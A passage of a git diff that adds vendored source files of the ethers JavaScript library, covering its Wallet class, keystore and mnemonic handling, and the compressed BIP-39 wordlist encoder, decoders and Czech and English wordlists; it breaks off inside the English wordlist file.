mnemonicToEntropy(phrase, wordlist); + return true; + } catch (error) { } + return false; + } +} diff --git a/node_modules/ethers/src.ts/wallet/utils.ts b/node_modules/ethers/src.ts/wallet/utils.ts new file mode 100644 index 000000000000..5c79d1b9297b --- /dev/null +++ b/node_modules/ethers/src.ts/wallet/utils.ts @@ -0,0 +1,147 @@ +/** + * @_ignore + */ + +import { + getBytesCopy, assertArgument, toUtf8Bytes +} from "../utils/index.js"; + +export function looseArrayify(hexString: string): Uint8Array { + if (typeof(hexString) === "string" && !hexString.startsWith("0x")) { + hexString = "0x" + hexString; + } + return getBytesCopy(hexString); +} + +export function zpad(value: String | number, length: number): String { + value = String(value); + while (value.length < length) { value = '0' + value; } + return value; +} + +export function getPassword(password: string | Uint8Array): Uint8Array { + if (typeof(password) === 'string') { + return toUtf8Bytes(password, "NFKC"); + } + return getBytesCopy(password); +} + +export function spelunk(object: any, _path: string): T { + + const match = _path.match(/^([a-z0-9$_.-]*)(:([a-z]+))?(!)?$/i); + assertArgument(match != null, "invalid path", "path", _path); + + const path = match[1]; + const type = match[3]; + const reqd = (match[4] === "!"); + + let cur = object; + for (const comp of path.toLowerCase().split('.')) { + + // Search for a child object with a case-insensitive matching key + if (Array.isArray(cur)) { + if (!comp.match(/^[0-9]+$/)) { break; } + cur = cur[parseInt(comp)]; + + } else if (typeof(cur) === "object") { + let found: any = null; + for (const key in cur) { + if (key.toLowerCase() === comp) { + found = cur[key]; + break; + } + } + cur = found; + + } else { + cur = null; + } + + if (cur == null) { break; } + } + + assertArgument(!reqd || cur != null, "missing required value", "path", path); + + if (type && cur != null) { + if (type === "int") { + if (typeof(cur) === "string" && cur.match(/^-?[0-9]+$/)) { + return parseInt(cur); + } else if (Number.isSafeInteger(cur)) { + return cur; + } + } + + if (type === "number") { + if (typeof(cur) === "string" && cur.match(/^-?[0-9.]*$/)) { + return parseFloat(cur); + } + } + + if (type === "data") { + if (typeof(cur) === "string") { return looseArrayify(cur); } + } + + if (type === "array" && Array.isArray(cur)) { return cur; } + if (type === typeof(cur)) { return cur; } + + assertArgument(false, `wrong type found for ${ type } `, "path", path); + } + + return cur; +} +/* +export function follow(object: any, path: string): null | string { + let currentChild = object; + + for (const comp of path.toLowerCase().split('/')) { + + // Search for a child object with a case-insensitive matching key + let matchingChild = null; + for (const key in currentChild) { + if (key.toLowerCase() === comp) { + matchingChild = currentChild[key]; + break; + } + } + + if (matchingChild === null) { return null; } + + currentChild = matchingChild; + } + + return currentChild; +} + +// "path/to/something:type!" +export function followRequired(data: any, path: string): string { + const value = follow(data, path); + if (value != null) { return value; } + return logger.throwArgumentError("invalid value", `data:${ path }`, + JSON.stringify(data)); +} +*/ +// See: https://www.ietf.org/rfc/rfc4122.txt (Section 4.4) +/* +export function uuidV4(randomBytes: BytesLike): string { + const bytes = getBytes(randomBytes, "randomBytes"); + + // Section: 4.1.3: + // - time_hi_and_version[12:16] = 0b0100 + bytes[6] = (bytes[6] & 0x0f) | 0x40; + + // Section 4.4 + // - clock_seq_hi_and_reserved[6] = 0b0 + // - clock_seq_hi_and_reserved[7] = 0b1 + bytes[8] = (bytes[8] & 0x3f) | 0x80; + + const value = hexlify(bytes); + + return [ + value.substring(2, 10), + value.substring(10, 14), + value.substring(14, 18), + value.substring(18, 22), + value.substring(22, 34), + ].join("-"); +} +*/ diff --git a/node_modules/ethers/src.ts/wallet/wallet.ts b/node_modules/ethers/src.ts/wallet/wallet.ts new file mode 100644 index 000000000000..ed17f79f9b8d --- /dev/null +++ b/node_modules/ethers/src.ts/wallet/wallet.ts @@ -0,0 +1,163 @@ +import { SigningKey } from "../crypto/index.js"; +import { assertArgument } from "../utils/index.js"; + +import { BaseWallet } from "./base-wallet.js"; +import { HDNodeWallet } from "./hdwallet.js"; +import { decryptCrowdsaleJson, isCrowdsaleJson } from "./json-crowdsale.js"; +import { + decryptKeystoreJson, decryptKeystoreJsonSync, + encryptKeystoreJson, encryptKeystoreJsonSync, + isKeystoreJson +} from "./json-keystore.js"; +import { Mnemonic } from "./mnemonic.js"; + +import type { ProgressCallback } from "../crypto/index.js"; +import type { Provider } from "../providers/index.js"; + +import type { CrowdsaleAccount } from "./json-crowdsale.js"; +import type { KeystoreAccount } from "./json-keystore.js"; + + +function stall(duration: number): Promise { + return new Promise((resolve) => { setTimeout(() => { resolve(); }, duration); }); +} + +/** + * A **Wallet** manages a single private key which is used to sign + * transactions, messages and other common payloads. + * + * This class is generally the main entry point for developers + * that wish to use a private key directly, as it can create + * instances from a large variety of common sources, including + * raw private key, [[link-bip-39]] mnemonics and encrypte JSON + * wallets. + */ +export class Wallet extends BaseWallet { + + /** + * Create a new wallet for the private %%key%%, optionally connected + * to %%provider%%. + */ + constructor(key: string | SigningKey, provider?: null | Provider) { + if (typeof(key) === "string" && !key.startsWith("0x")) { + key = "0x" + key; + } + + let signingKey = (typeof(key) === "string") ? new SigningKey(key): key; + super(signingKey, provider); + } + + connect(provider: null | Provider): Wallet { + return new Wallet(this.signingKey, provider); + } + + /** + * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with + * %%password%%. + * + * If %%progressCallback%% is specified, it will receive periodic + * updates as the encryption process progreses. + */ + async encrypt(password: Uint8Array | string, progressCallback?: ProgressCallback): Promise { + const account = { address: this.address, privateKey: this.privateKey }; + return await encryptKeystoreJson(account, password, { progressCallback }); + } + + /** + * Returns a [JSON Keystore Wallet](json-wallets) encryped with + * %%password%%. + * + * It is preferred to use the [async version](encrypt) instead, + * which allows a [[ProgressCallback]] to keep the user informed. + * + * This method will block the event loop (freezing all UI) until + * it is complete, which may be a non-trivial duration. + */ + encryptSync(password: Uint8Array | string): string { + const account = { address: this.address, privateKey: this.privateKey }; + return encryptKeystoreJsonSync(account, password); + } + + static #fromAccount(account: null | CrowdsaleAccount | KeystoreAccount): HDNodeWallet | Wallet { + assertArgument(account, "invalid JSON wallet", "json", "[ REDACTED ]"); + + if ("mnemonic" in account && account.mnemonic && account.mnemonic.locale === "en") { + const mnemonic = Mnemonic.fromEntropy(account.mnemonic.entropy); + const wallet = HDNodeWallet.fromMnemonic(mnemonic, account.mnemonic.path); + if (wallet.address === account.address && wallet.privateKey === account.privateKey) { + return wallet; + } + console.log("WARNING: JSON mismatch address/privateKey != mnemonic; fallback onto private key"); + } + + const wallet = new Wallet(account.privateKey); + + assertArgument(wallet.address === account.address, + "address/privateKey mismatch", "json", "[ REDACTED ]"); + + return wallet; + } + + /** + * Creates (asynchronously) a **Wallet** by decrypting the %%json%% + * with %%password%%. + * + * If %%progress%% is provided, it is called periodically during + * decryption so that any UI can be updated. + */ + static async fromEncryptedJson(json: string, password: Uint8Array | string, progress?: ProgressCallback): Promise { + let account: null | CrowdsaleAccount | KeystoreAccount = null; + if (isKeystoreJson(json)) { + account = await decryptKeystoreJson(json, password, progress); + + } else if (isCrowdsaleJson(json)) { + if (progress) { progress(0); await stall(0); } + account = decryptCrowdsaleJson(json, password); + if (progress) { progress(1); await stall(0); } + + } + + return Wallet.#fromAccount(account); + } + + /** + * Creates a **Wallet** by decrypting the %%json%% with %%password%%. + * + * The [[fromEncryptedJson]] method is preferred, as this method + * will lock up and freeze the UI during decryption, which may take + * some time. + */ + static fromEncryptedJsonSync(json: string, password: Uint8Array | string): HDNodeWallet | Wallet { + let account: null | CrowdsaleAccount | KeystoreAccount = null; + if (isKeystoreJson(json)) { + account = decryptKeystoreJsonSync(json, password); + } else if (isCrowdsaleJson(json)) { + account = decryptCrowdsaleJson(json, password); + } else { + assertArgument(false, "invalid JSON wallet", "json", "[ REDACTED ]"); + } + + return Wallet.#fromAccount(account); + } + + /** + * Creates a new random [[HDNodeWallet]] using the available + * [cryptographic random source](randomBytes). + * + * If there is no crytographic random source, this will throw. + */ + static createRandom(provider?: null | Provider): HDNodeWallet { + const wallet = HDNodeWallet.createRandom(); + if (provider) { return wallet.connect(provider); } + return wallet; + } + + /** + * Creates a [[HDNodeWallet]] for %%phrase%%. + */ + static fromPhrase(phrase: string, provider?: Provider): HDNodeWallet { + const wallet = HDNodeWallet.fromPhrase(phrase); + if (provider) { return wallet.connect(provider); } + return wallet; + } +} diff --git a/node_modules/ethers/src.ts/wordlists/bit-reader.ts b/node_modules/ethers/src.ts/wordlists/bit-reader.ts new file mode 100644 index 000000000000..bec9d47496bd --- /dev/null +++ b/node_modules/ethers/src.ts/wordlists/bit-reader.ts @@ -0,0 +1,35 @@ +const Base64 = ")!@#$%^&*(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_"; + +/** + * @_ignore + */ +export function decodeBits(width: number, data: string): Array { + const maxValue = (1 << width) - 1; + const result: Array = [ ]; + let accum = 0, bits = 0, flood = 0; + for (let i = 0; i < data.length; i++) { + + // Accumulate 6 bits of data + accum = ((accum << 6) | Base64.indexOf(data[i])); + bits += 6; + + // While we have enough for a word... + while (bits >= width) { + // ...read the word + const value = (accum >> (bits - width)); + accum &= (1 << (bits - width)) - 1; + bits -= width; + + // A value of 0 indicates we exceeded maxValue, it + // floods over into the next value + if (value === 0) { + flood += maxValue; + } else { + result.push(value + flood); + flood = 0; + } + } + } + + return result; +} diff --git a/node_modules/ethers/src.ts/wordlists/decode-owl.ts b/node_modules/ethers/src.ts/wordlists/decode-owl.ts new file mode 100644 index 000000000000..c82ed7f82e7a --- /dev/null +++ b/node_modules/ethers/src.ts/wordlists/decode-owl.ts @@ -0,0 +1,58 @@ +import { assertArgument } from "../utils/index.js"; + + +const subsChrs = " !#$%&'()*+,-./<=>?@[]^_`{|}~"; +const Word = /^[a-z]*$/i; + +function unfold(words: Array, sep: string): Array { + let initial = 97; + return words.reduce((accum, word) => { + if (word === sep) { + initial++; + } else if (word.match(Word)) { + accum.push(String.fromCharCode(initial) + word); + } else { + initial = 97; + accum.push(word); + } + return accum; + }, >[]); +} + +/** + * @_ignore + */ +export function decode(data: string, subs: string): Array { + + // Replace all the substitutions with their expanded form + for (let i = subsChrs.length - 1; i >= 0; i--) { + data = data.split(subsChrs[i]).join(subs.substring(2 * i, 2 * i + 2)); + } + + // Get all tle clumps; each suffix, first-increment and second-increment + const clumps: Array = [ ]; + const leftover = data.replace(/(:|([0-9])|([A-Z][a-z]*))/g, (all, item, semi, word) => { + if (semi) { + for (let i = parseInt(semi); i >= 0; i--) { clumps.push(";"); } + } else { + clumps.push(item.toLowerCase()); + } + return ""; + }); + /* c8 ignore start */ + if (leftover) { throw new Error(`leftovers: ${ JSON.stringify(leftover) }`); } + /* c8 ignore stop */ + + return unfold(unfold(clumps, ";"), ":"); +} + +/** + * @_ignore + */ +export function decodeOwl(data: string): Array { + assertArgument(data[0] === "0", "unsupported auwl data", "data", data); + + return decode( + data.substring(1 + 2 * subsChrs.length), + data.substring(1, 1 + 2 * subsChrs.length)); +} diff --git a/node_modules/ethers/src.ts/wordlists/decode-owla.ts b/node_modules/ethers/src.ts/wordlists/decode-owla.ts new file mode 100644 index 000000000000..d753395a56d6 --- /dev/null +++ b/node_modules/ethers/src.ts/wordlists/decode-owla.ts @@ -0,0 +1,33 @@ +import { assertArgument } from "../utils/index.js"; + +import { decodeBits } from "./bit-reader.js"; +import { decodeOwl } from "./decode-owl.js"; + +/** + * @_ignore + */ +export function decodeOwlA(data: string, accents: string): Array { + let words = decodeOwl(data).join(","); + + // Inject the accents + accents.split(/,/g).forEach((accent) => { + + const match = accent.match(/^([a-z]*)([0-9]+)([0-9])(.*)$/); + assertArgument(match !== null, "internal error parsing accents", "accents", accents); + + let posOffset = 0; + const positions = decodeBits(parseInt(match[3]), match[4]); + const charCode = parseInt(match[2]); + const regex = new RegExp(`([${ match[1] }])`, "g"); + words = words.replace(regex, (all, letter) => { + const rem = --positions[posOffset]; + if (rem === 0) { + letter = String.fromCharCode(letter.charCodeAt(0), charCode); + posOffset++; + } + return letter; + }); + }); + + return words.split(","); +} diff --git a/node_modules/ethers/src.ts/wordlists/generation/encode-latin.ts b/node_modules/ethers/src.ts/wordlists/generation/encode-latin.ts new file mode 100644 index 000000000000..6777042f4cca --- /dev/null +++ b/node_modules/ethers/src.ts/wordlists/generation/encode-latin.ts @@ -0,0 +1,370 @@ + +// OWL Data Format +// +// The Official WordList data format exported by this encoder +// encodes sorted latin-1 words (letters only) based on the +// fact that sorted words have prefixes with substantial +// overlap. +// +// For example, the words: +// [ Another, Apple, Apricot, Bread ] +// could be folded once with a single special character, such +// as ":" to yield: +// [ nother, pple, pricot, :, read ]. +// The First letter has been removed, but can be inferred by +// starting at A and incrementing to the next letter when ":" +// is encountered. +// +// The fold operation can be repeated for large sets as even within +// each folded set, there is substatial overlap in prefix. With the +// second special symbol ";", we get: +// [ ; x 13, other, :, ple, ricot, :, ; x 18, ead ] +// which can be further compressed by using numbers instead of the +// special character: +// [ 13, other, :, ple, ricot, :, 18, ead ] +// and to keep all values within a single byte, we only allow a +// maximum value of 10 (using 0 through 9 to represent 1 through 10), +// we get: +// [ 9, 2, other, :, ple, ricot, :, 9, 7, ead ] +// and we use camel-case to imply the bounrary, giving the final string: +// "92Other:PleRicot:97Ead" +// +// Once the entire latin-1 set has been collapsed, we use the remaining +// printable characters (except " and \, which require 2 bytes to represent +// in string) to substiture for the most common 2-letter pairs of letters +// in the string. +// +// OWLA Accent Format +// +// OWLA first removes all accents, and encodes that data using the OWL +// data format and encodes the accents as a base-64 series of 6-bit +// packed bits representing the distance from one followed letter to the +// next. +// +// For example, the acute accent in a given language may follow either +// a or e, in which case the follow-set is "ae". Each letter in the entire +// set is indexed, so the set of words with the accents: +// "thisA/ppleDoe/sNotMa/tterToMe/" +// " 1^ 2^ 3^ 4^ 5^ 6^ " <-- follow-set members, ALL a's and e's +// which gives the positions: +// [ 0, 2, 3, 4, 6 ] +// which then reduce to the distances +// [ 0, 2, 1, 1, 2 ] +// each of which fit into a 2-bit value, so this can be encoded as the +// base-64 encoded string: +// 00 10 01 01 10 = 001001 1010xx +// +// The base-64 set used has all number replaced with their +// shifted-counterparts to prevent comflicting with the numbers used in +// the fold operation to indicate the number of ";". + +import fs from "fs"; + +import { id } from "../../hash/id.js"; + +import { decodeOwl } from "../decode-owl.js"; +import { decodeOwlA } from "../decode-owla.js"; + +const subsChrs = " !#$%&'()*+,-./<=>?@[]^_`{|}~"; + +const Word = /^[a-z'`]*$/i; + +function fold(words: Array, sep: string): Array { + const output: Array = [ ]; + + let initial = 97; + for (const word of words) { + if (word.match(Word)) { + while (initial < word.charCodeAt(0)) { + initial++; + output.push(sep); + } + output.push(word.substring(1)); + } else { + initial = 97; + output.push(word); + } + } + + return output; +} + +function camelcase(words: Array): string { + return words.map((word) => { + if (word.match(Word)) { + return word[0].toUpperCase() + word.substring(1); + } else { + return word; + } + }).join(""); +} + +//let cc = 0, ce = 0; +/* +function getChar(c: string): string { + //if (c === "e") { ce++; } + if (c >= 'a' && c <= 'z') { return c; } + if (c.charCodeAt(1)) { + throw new Error(`bad char: "${ c }"`); + } + //cc++; + return ""; + if (c.charCodeAt(0) === 768) { return "`"; } + if (c.charCodeAt(0) === 769) { return "'"; } + if (c.charCodeAt(0) === 771) { return "~"; } + throw new Error(`Unsupported character: ${ c } (${ c.charCodeAt(0) }, ${ c.charCodeAt(1) })`); +} +function mangle(text: string): { word: string, special: string } { + const result: Array = [ ]; + for (let i = 0; i < text.length; i++) { + const c = getChar(text[i]); + result.push(c); + } + + const word = result.join(""); + if (word[1] >= 'a' && word[1] <= 'z') { return { word, special: " " }; } + return { word: word[0] + word.substring(2), special: word[1] }; +} +*/ +/* + Store: [ accent ][ targets ][ rle data; base64-tail ] + ` ae 3, 100 = (63, 37), 15 + ~ n 63, 64 = (63, 1), 27 +*/ + +const Base64 = ")!@#$%^&*(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_"; +export class BitWriter { + readonly width: number; + readonly #data: Array; + + #bitLength: number; + + constructor(width: number) { + this.width = width; + this.#data = [ ]; + this.#bitLength = 0; + } + + write(value: number): void { + const maxValue = ((1 << this.width) - 1); + while (value > maxValue) { + this.#data.push(0); + this.#bitLength += this.width; + value -= maxValue; + } + this.#data.push(value); + this.#bitLength += this.width; + } + + get length(): number { + return 1 + Math.trunc((this.#bitLength + 5) / 6); + } + + get data(): string { + let result = String(this.width); + let bits = 0; + let accum = 0; + + const data = this.#data.slice(); + let bitMod = this.#bitLength % 6; + while (bitMod !== 0 && bitMod < 6) { + data.push(0); + bitMod += this.width; + } + + for (const value of data) { + accum <<= this.width; + accum |= value; + bits += this.width; + + if (bits < 6) { continue; } + + result += Base64[accum >> (bits - 6)]; + bits -= 6; + accum &= ((1 << bits) - 1); + } + + if (result.length !== this.length) { + throw new Error(`Hmm: ${ this.length } ${ result.length } ${ result }`); + } + return result; + } +} + +export interface AccentSet { + accent: number; + follows: string; + positions: Array; + positionsLength: number; + positionData: string; + positionDataLength: number; +}; + +function sorted(text: string): string { + const letters = text.split(""); + letters.sort(); + return letters.join(""); +} + +// if (c.charCodeAt(0) === 768) { return "`"; } +// if (c.charCodeAt(0) === 769) { return "'"; } +// if (c.charCodeAt(0) === 771) { return "~"; } +export function extractAccents(words: Array): { accents: Array, words: Array } { + + // Build a list that maps accents to the letters it can follow + const followsMap: Map = new Map(); + for (const word of words) { + for (let i = 0; i < word.length; i++) { + const c = word[i]; + if (c >= 'a' && c <= 'z') { continue; } + + // Make sure this positions and codepoint make sense + if (c.charCodeAt(1)) { throw new Error(`unsupported codepoint: "${ c }"`); } + if (i === 0) { throw new Error(`unmatched accent: ${ c }`); } + + const ac = c.charCodeAt(0), lastLetter = word[i - 1];; + const follows = (followsMap.get(ac) || ""); + if (follows.indexOf(lastLetter) === -1) { + followsMap.set(ac, sorted(follows + lastLetter)); + } + } + } + + // Build the positions of each follow-set for those accents + const positionsMap: Map> = new Map(); + for (const [ accent, follows ] of followsMap) { + let count = 0; + for (const word of words) { + for (let i = 0; i < word.length; i++) { + const c = word[i], ac = c.charCodeAt(0); + if (follows.indexOf(c) >= 0) { count++; } + if (ac === accent) { + const pos = positionsMap.get(ac) || [ ]; + pos.push(count); + positionsMap.set(ac, pos); + } + } + } + } + + const accents: Array = [ ]; + for (const [ accent, follows ] of followsMap) { + let last = -1; + const positions = (positionsMap.get(accent) || [ ]).map((value, index) => { + const delta = value - last; + last = value; + if (index === 0) { return value; } + return delta; + }); + + // Find the best encoding of the position data + let positionData = ""; + for (let i = 2; i < 7; i++) { + const bitWriter = new BitWriter(i); + for (const p of positions) { bitWriter.write(p); } + if (positionData === "" || bitWriter.length < positionData.length) { + positionData = bitWriter.data; + } + } + const positionsLength = positions.length; + const positionDataLength = positionData.length; + + accents.push({ accent, follows, positions, positionsLength, positionData, positionDataLength }); + } + + words = words.map((word) => { + let result = ""; + for (let i = 0; i < word.length; i++) { + const c = word[i]; + if (c >= 'a' && c <= 'z') { result += c } + } + return result; + }); + + return { accents, words }; +} + +// Encode Official WordList +export function encodeOwl(words: Array): { subs: string, data: string } { + + // Fold the sorted words by indicating delta for the first 2 letters + let data = camelcase(fold(fold(words, ":"), ";")); + + // Replace semicolons with counts (e.g. ";;;" with "3") + data = data.replace(/(;+)/g, (all, semis) => { + let result = ""; + while (semis.length) { + let count = semis.length; + if (count > 10) { count = 10; } + result += String(count - 1); + semis = semis.substring(count); + } + return result; + }); + + // Finds the best option for a shortcut replacement using the + // unused ascii7 characters + function findBest(): string { + const tally: Record = { }; + const l = 2; + for (let i = l; i < data.length; i++) { + const key = data.substring(i - l, i); + tally[key] = (tally[key] || 0) + 1; + } + + const sorted: Array<{ text: string, count: number, save: number }> = Object.keys(tally).map((text) => { + return { text, count: tally[text], save: (tally[text] * (text.length - 1)) } + }); + sorted.sort((a, b) => (b.save - a.save)); + + return sorted[0].text; + } + + // Make substitutions + let subs = ""; + for (let i = 0; i < subsChrs.length; i++) { + const n = subsChrs[i], o = findBest(); + subs += o; + data = data.split(o).join(n); + } + + return { data, subs }; +} + +// Returns either: +// - OWL data for accent-free latin-1: { data, accentds: "" } +// - OWLA data for accented latin-1: { data, accents } +function encodeWords(_words: Array): { data: string, accents: string } { + const { accents, words } = extractAccents(_words); + const { data, subs } = encodeOwl(words); + const accentData = accents.map(({ accent, follows, positionData }) => { + return `${ follows }${ accent }${ positionData }`; + }).join(","); + + return { + data: `0${ subs }${data}`, + accents: accentData + }; +} + +// CLI +const content = fs.readFileSync(process.argv[2]).toString(); +const words = content.split("\n").filter(Boolean); +const { data, accents } = encodeWords(words); + +if (accents) { + const rec = decodeOwlA(data, accents); + console.log("DATA: ", JSON.stringify(data)); + console.log("ACCENTS: ", JSON.stringify(accents)); + console.log("LENGTH: ", data.length); + console.log("CHECKSUM: ", id(content)); + console.log("RATIO: ", Math.trunc(100 * data.length / content.length) + "%"); + if (rec.join("\n") !== words.join("\n")) { throw new Error("no match!"); } +} else { + const rec = decodeOwl(data); + console.log("DATA: ", JSON.stringify(data)); + console.log("LENGTH: ", data.length); + console.log("CHECKSUM: ", id(content)); + console.log("RATIO: ", Math.trunc(100 * data.length / content.length) + "%"); + if (rec.join("\n") !== words.join("\n")) { throw new Error("no match!"); } +} diff --git a/node_modules/ethers/src.ts/wordlists/index.ts b/node_modules/ethers/src.ts/wordlists/index.ts new file mode 100644 index 000000000000..d4a8d74ff688 --- /dev/null +++ b/node_modules/ethers/src.ts/wordlists/index.ts @@ -0,0 +1,26 @@ +/** + * A Wordlist is a set of 2048 words used to encode private keys + * (or other binary data) that is easier for humans to write down, + * transcribe and dictate. + * + * The [[link-bip-39]] standard includes several checksum bits, + * depending on the size of the mnemonic phrase. + * + * A mnemonic phrase may be 12, 15, 18, 21 or 24 words long. For + * most purposes 12 word mnemonics should be used, as including + * additional words increases the difficulty and potential for + * mistakes and does not offer any effective improvement on security. + * + * There are a variety of [[link-bip39-wordlists]] for different + * languages, but for maximal compatibility, the + * [English Wordlist](LangEn) is recommended. + * + * @_section: api/wordlists:Wordlists [about-wordlists] + */ +export { Wordlist } from "./wordlist.js"; +export { LangEn } from "./lang-en.js"; + +export { WordlistOwl } from "./wordlist-owl.js"; +export { WordlistOwlA } from "./wordlist-owla.js"; + +export { wordlists } from "./wordlists.js"; diff --git a/node_modules/ethers/src.ts/wordlists/lang-cz.ts b/node_modules/ethers/src.ts/wordlists/lang-cz.ts new file mode 100644 index 000000000000..c00bbf4ed3ac --- /dev/null +++ b/node_modules/ethers/src.ts/wordlists/lang-cz.ts @@ -0,0 +1,33 @@ +import { WordlistOwl } from "./wordlist-owl.js"; + +const words = "0itatkastcenaovo$taouleraeki&chor*teci%enbalodaeladet'!Chn=0Di#%E%^1Resa2Rese3CeT'#0EjKohol0Pu)%0A&sDul#Ekdo)Ke)Ti#Ul|3}aOgan%0FaltI$@tPi,%TmaTronom0LasL{i#Ol0Tobus4Yl:B#}R'?TaUb_U/!U^U+Ur!Xer2A^v#Ambo,An#AtrEp)Ike)KoLohOnzOskevUn{#Usin#Z^Zy2Bl.Bn|})D _D#D'aF{Jar(Kv?LdokLvaN^NkrRzaTikVolZola3D+tL.T'#0Ukot:PartRev&3DrDu+J/JnLaLerLkemLn?N.Nn(N'#NtrumNzZ(2O&2KolivUv!4It_N(0Dn(Ke)KrPot0Ak~AlIkRkot2Kli$a:L-oRe[T_Tum1E,1B!a}'#Cib_Fic Fla%KlKr{Mokr!PreseRbyS#T-tiv3Kob,zKt|O^P]mSkSp+jV`]Vo/2AhaOuhoUhopis1Es0BroByt-C@t}ut DnesH+dHo^H,JemJn?Kl`KolaKtAzeDolObn(OgerieOzdSn(T Z(2B@}'noD-HaH'#S SnoT(0Oj?Or>2Nam :9O]gOnomie0EktronIpsa0AilIseO%P!ie2Izo^O/aOpejOs2EjEn%K<)Kymo0Ike)0FR&S]Zky3StOhOup(T!Ub.U/o)0AtO)Yz0IsOjivoOut0Bl.Boj}DinyDl!Dno)D|Jn(KejLin#L#LubMo+N [No,%RalR^RizontRkoRliv>RmonRn.RoskopR$voSpo^St.T'(U[UfUp!Us#V<2Ad[An?Av(Az^Bo+kD.D]D(N-Ob#Oma^OtOu^Oz@St#Ub(Yz!2B@(B~D[KotMrS aSto)0Ozd2Bn(D,ntGie&M&Sterik:2Yl#3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syp!Tas Tes!Tr! Vi~Vol!Vrh_Zdob Zn!0AduBud }op DJ{Ji$ K+p!K*p Lep Mez Mot!Mys+tNe/!Nik!Pl! Poj Ps!Raz S)v Su~Taj Temn Tk~Ujm=Val Ve+tVin Vol!Vrt!Zvon 0Av RusuUd|Yt-1A+#ArmaAtn(IvoOb RojVihYm`]0L@.ManM.Pt!Z`uZdola2At Lt~Lubo#Ot' Ru[0MaMn?0Emn 0Lam!Oum!R!#Umav#0AtoEh#O[OmO$Ozvyk0Ap|ArAt-IjeIz{Ocn Odr!Rzl.Ut|0AkAl(Am@!Ovu0B,z Tav Ub-Ufa+0Lod Omal RavaR( Rud#Rvu1A^An C`]N (NoOv&Y/l Zav(1I/aR! 0B'.Br0Ed~EnkuEs_aOnR!Uk'odYk"; +const checksum = "0x25f44555f4af25b51a711136e1c7d6e50ce9f8917d39d6b1f076b2bb4d2fac1a"; + +let wordlist: null | LangCz = null; + +/** + * The [[link-bip39-cz]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export class LangCz extends WordlistOwl { + + /** + * Creates a new instance of the Czech language Wordlist. + * + * Using the constructor should be unnecessary, instead use the + * [[wordlist]] singleton method. + * + * @_ignore: + */ + constructor() { super("cz", words, checksum); } + + /** + * Returns a singleton instance of a ``LangCz``, creating it + * if this is the first time being called. + */ + static wordlist(): LangCz { + if (wordlist == null) { wordlist = new LangCz(); } + return wordlist; + } +} diff --git a/node_modules/ethers/src.ts/wordlists/lang-en.ts b/node_modules/ethers/src.ts/wordlists/lang-en.ts new file mode 100644 index 000000000000..88aacb6d8557 --- /dev/null +++ b/node_modules/ethers/src.ts/wordlists/lang-en.ts @@ -0,0 +1,33 @@ +import { WordlistOwl } from "./wordlist-owl.js"; + +const words = "0erleonalorenseinceregesticitStanvetearctssi#ch2Athck&tneLl0And#Il.yLeOutO=S|S%b/ra@SurdU'0Ce[Cid|CountCu'Hie=IdOu,-Qui*Ro[TT]T%T*[Tu$0AptDD-tD*[Ju,M.UltV<)Vi)0Rob-0FairF%dRaid0A(EEntRee0Ead0MRRp%tS!_rmBumCoholErtI&LLeyLowMo,O}PhaReadySoT Ways0A>urAz(gOngOuntU'd0Aly,Ch%Ci|G G!GryIm$K!Noun)Nu$O` Sw T&naTiqueXietyY1ArtOlogyPe?P!Pro=Ril1ChCt-EaEnaGueMMedM%MyOundR<+Re,Ri=RowTTefa@Ti,Tw%k0KPe@SaultSetSi,SumeThma0H!>OmTa{T&dT.udeTra@0Ct]D.Gu,NtTh%ToTumn0Era+OcadoOid0AkeA*AyEsomeFulKw?d0Is:ByChel%C#D+GL<)Lc#y~MbooN_{Ad!AftAmA}AshAt AwlAzyEamEd.EekEwI{etImeIspIt-OpO[Ou^OwdUci$UelUi'Umb!Un^UshYY,$2BeLtu*PPbo?dRiousRr|Rta(R=Sh]/omTe3C!:DMa+MpN)Ng R(gShUght WnY3AlBa>BrisCadeCemb CideCl(eC%a>C*a'ErF&'F(eFyG*eLayLiv M3AgramAlAm#dAryCeE'lEtFf G.$Gn.yLemmaNn NosaurRe@RtSag*eScov Sea'ShSmi[S%d Splay/<)V tVideV%)Zzy5Ct%Cum|G~Lph(Ma(Na>NkeyN%OrSeUb!Ve_ftAg#AmaA,-AwEamE[IftIllInkIpI=OpUmY2CkMbNeR(g/T^Ty1Arf1Nam-:G G!RlyRnR`Sily/Sy1HoOlogyOnomy0GeItUca>1F%t0G1GhtTh 2BowD E@r-EgSe0B?kBodyBra)Er+Ot]PloyPow Pty0Ab!A@DD![D%'EmyErgyF%)Ga+G(eH<)JoyLi,OughR-hRollSu*T Ti*TryVelope1Isode0U$Uip0AA'OdeOs]R%Upt0CapeSayS&)Ta>0Ern$H-s1Id&)IlOkeOl=1A@Amp!Ce[Ch<+C.eCludeCu'Ecu>Erci'Hau,Hib.I!I,ItOt-PM&'Mu}Pa@Po'Pro=Pul'0ChCludeComeC*a'DexD-a>Do%Du,ryFN Noc|PutQuirySSue0Em1Ory:CketGu?RZz3AlousAns~yWel9BInK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(Memb M(dMo=Nd NewNtOp&PairPeatPla)P%tQui*ScueSemb!Si,Sour)Sp#'SultTi*T*atTurnUn]Ve$ViewW?d2Y`m0BBb#CeChDeD+F!GhtGidNgOtPp!SkTu$V$V 5AdA,BotBu,CketM<)OfOkieOmSeTa>UghUndU>Y$5Bb DeGLeNNwayR$:DDd!D}[FeIlLadLm#L#LtLu>MeMp!NdTisfyToshiU)Usa+VeY1A!AnA*Att E}HemeHoolI&)I[%sOrp]OutRapRe&RiptRub1AAr^As#AtC#dC*tCt]Cur.yEdEkGm|Le@~M(?Ni%N'Nt&)RiesRvi)Ss]Tt!TupV&_dowAftAllowA*EdEllEriffIeldIftI}IpIv O{OeOotOpOrtOuld O=RimpRugUff!Y0Bl(gCkDeE+GhtGnL|Lk~yLv Mil?Mp!N)NgR&/ Tua>XZe1A>Et^IIllInIrtUll0AbAmEepEnd I)IdeIghtImOgAyEakEelEmEpE*oI{IllIngO{Oma^O}OolOryO=Ra>gyReetRikeR#gRugg!Ud|UffUmb!Y!0Bje@Bm.BwayC)[ChDd&Ff G?G+,ItMm NNnyN'tP PplyP*meReRfa)R+Rpri'RroundR=ySpe@/a(1AllowAmpApArmE?EetIftImIngIt^Ord1MbolMptomRup/em:B!Ck!GIlL|LkNkPeR+tSk/eTtooXi3A^Am~NNGradeHoldOnP Set1BOng::Rd3Ar~ow9UUngU`:3BraRo9NeO"; +const checksum = 